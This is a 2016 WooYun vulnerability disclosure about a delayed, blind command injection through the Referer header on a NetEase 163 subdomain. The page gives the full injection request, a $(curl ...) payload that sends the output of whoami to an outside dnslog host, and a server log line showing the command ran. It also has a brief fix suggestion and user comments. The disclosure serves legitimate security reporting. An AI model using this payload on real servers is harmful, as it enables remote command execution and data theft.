当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0192038

漏洞标题：网易163某站点存在隐式命令注入

相关厂商：网易

漏洞作者： lijiejie

提交时间：2016-04-03 11:19

修复时间：2016-05-22 13:40

公开时间：2016-05-22 13:40

漏洞类型：命令执行

危害等级：高

自评Rank：14

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-03： 细节已通知厂商并且等待厂商处理中
2016-04-07： 厂商已经确认，细节仅向厂商公开
2016-04-17： 细节向核心白帽子及相关领域专家公开
2016-04-27： 细节向普通白帽子公开
2016-05-07： 细节向实习白帽子公开
2016-05-22： 细节向公众公开

简要描述：

网易163某站点存在隐式命令注入，可远程执行任意Linux命令

详细说明：

存在命令注入的是paopao.163.com的Referer，怀疑是某个日志分析服务的问题：

GET /search/sycProduct HTTP/1.1
Referer: $(curl http://paopao3.xxxx.dnslog.info/?whoami=`whoami`)
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13D15 MicroMessenger/6.3.13 NetType/WIFI Language/en
Host: www.paopao.163.com
Accept-Encoding: gzip,deflate
Accept: */*


上面我注入了curl和whoami命令。这个地方并不会马上导致命令执行，而是每天凌晨大约0点到2点钟被执行到。

漏洞证明：

paopao.163.brce.png


如上图所示，实际上paopao3和163这个子域名都被成功打回了。
whoami命令也被成功执行了，当前用户是appops：

[03/Apr/2016:00:57:22 +0800] 223.252.218.194 - - paopao3.xxxx.dnslog.info GET /?whoami=appops HTTP/1.1 200 "curl/7.26.0" "-"


paopao.163.brce.2.png

修复方案：

过滤，比如去掉$(和`符号

版权声明：转载请注明来源 lijiejie@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2016-04-07 13:37

厂商回复：

漏洞已修复，感谢您对网易的支持。

最新状态：

暂无

漏洞评价：

评价

  1. 2016-04-03 11:21 | Aasron ( 普通白帽子 | Rank:840 漏洞数:155 | raw_input("你知道我要输入什么？"))

    666

  2. 2016-04-03 11:26 | Exploit DB ( 普通白帽子 | Rank:475 漏洞数:132 | 水能载舟，亦可覆舟)

    李姐姐 能不能告诉我什么叫隐式命令注入 新姿势想学习下...

  3. 2016-04-03 11:34 | Mark0smith ( 普通白帽子 | Rank:162 漏洞数:65 | 我要是再正常一点就好了)

    马克，坐等公开

  4. 2016-04-03 11:50 | HackPanda ( 普通白帽子 | Rank:117 漏洞数:16 | Talk is cheap,show me the shell.)

    无回显

  5. 2016-04-03 12:40 | ArcticWolf ( 实习白帽子 | Rank:97 漏洞数:34 | 呃···是AW！不是AV！)

    mark

  6. 2016-04-03 13:56 | ucifer ( 普通白帽子 | Rank:231 漏洞数:74 | 萌萌哒~)

    命令盲注

  7. 2016-04-03 14:18 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)

    日了狗

  8. 2016-04-03 14:33 | 冷白开。 ( 普通白帽子 | Rank:249 漏洞数:99 | “想人想的厉害的时候，也是淡淡的。 ...)

    啥叫隐式命令注入，求科普

  9. 2016-04-03 16:02 | hkcs ( 实习白帽子 | Rank:56 漏洞数:9 | 只是路过)

    ...漏洞大把

  10. 2016-04-03 16:21 | scanf ( 核心白帽子 | Rank:1621 漏洞数:221 | 。)

    不回显吗？

  11. 2016-04-03 16:30 | Code Life ( 普通白帽子 | Rank:182 漏洞数:40 | Code Life,Join It!)

    感觉又有52G的库

  12. 2016-04-03 17:34 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)

    看标题就觉得很屌！

  13. 2016-04-04 11:38 | Can ( 普通白帽子 | Rank:116 漏洞数:36 | 我是水一样的男子，因为党说我是流动人口。)

    @xsser 大哥能去审核一下我的漏洞吗？乌云就这个效率吗

  14. 2016-04-04 12:17 | Exploit DB ( 普通白帽子 | Rank:475 漏洞数:132 | 水能载舟，亦可覆舟)

    @Can 首先你的漏洞必须是高危害 之前川神在群里说过一句话 渣渣漏洞就不要催审核了

  15. 2016-04-04 12:41 | HackPanda ( 普通白帽子 | Rank:117 漏洞数:16 | Talk is cheap,show me the shell.)

    @Can 急啥…

  16. 2016-04-04 14:01 | Code Life ( 普通白帽子 | Rank:182 漏洞数:40 | Code Life,Join It!)

    不急不急 春节那一天虽然漏洞冻结了 但我的一个漏洞还是在半个小时后审核通过 但有一次一个政府网站的sql审核了一个月 @Can

  17. 2016-04-04 17:17 | YangCL ( 路人 | Rank:13 漏洞数:8 | 最温馨的游戏社区)

    @Exploit DB MySQL隐形的类型

  18. 2016-04-04 17:39 | Aasron ( 普通白帽子 | Rank:840 漏洞数:155 | raw_input("你知道我要输入什么？"))

    估计是 Http响应一类的http request

  19. 2016-04-05 09:13 | 追寻 ( 普通白帽子 | Rank:210 漏洞数:46 | 学习新姿势中)

    mark

  20. 2016-04-07 15:37 | sauce ( 普通白帽子 | Rank:228 漏洞数:38 | test)

    修复了赶紧公开看看啊@网易

  21. 2016-04-07 16:01 | sysALong ( 普通白帽子 | Rank:360 漏洞数:72 | 在我们黑龙江这噶哒，就没有什么事是【撸串...)

    哥哥我只要一回复，上面的一群人还有关注的人都会收到提示信息！！！

  22. 2016-04-17 11:15 | 蓝冰 ( 普通白帽子 | Rank:725 漏洞数:61 | -.-)

    为何受伤的总是网易。

  23. 2016-05-22 13:57 | YiYang ( 实习白帽子 | Rank:33 漏洞数:14 | 一锹、两锹、三锹。。。)

    是什么原理啊 怎么发现呢